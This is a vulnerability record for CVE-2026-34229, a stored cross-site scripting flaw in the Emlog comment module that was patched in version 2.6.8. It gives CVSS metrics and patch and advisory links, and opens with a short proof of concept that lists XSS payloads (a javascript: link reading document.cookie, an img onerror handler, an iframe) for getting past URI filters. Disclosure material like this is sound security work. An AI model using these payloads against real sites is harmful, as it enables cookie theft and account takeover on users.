CVE-2026-34229

<!-- Stored XSS PoC via URI scheme bypass --> <!-- Attacker submits the following payload in the comment URL or body field --> <a href="javascript:alert(document.cookie)">Click to win</a> <!-- Alternative payloads to bypass URI filters --> <img src=x onerror=alert(1)> <!-- Using data URI if supported --> <iframe src="javascript:alert('XSS')"></iframe>

{"cve": {"id": "CVE-2026-34229", "sourceIdentifier": "[email protected]", "published": "2026-04-03T23:17:04.270", "lastModified": "2026-04-13T17:37:40.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emlog is an open source website building system. Prior to version 2.6.8, there is a stored cross-site scripting (XSS) vulnerability in emlog comment module via URI scheme validation bypass. This issue has been patched in version 2.6.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:*:*:*:*:pro:*:*:*", "versionEndExcluding": "2.6.8", "matchCriteriaId": "DB302EB6-E672-4C36-854F-5329119B5C96"}]}]}], "references": [{"url": "https://github.com/emlog/emlog/commit/a12ab1b1a273fe634abab32fd28274c18bd57f07", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/emlog/emlog/security/advisories/GHSA-74gp-xh6w-hqw6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}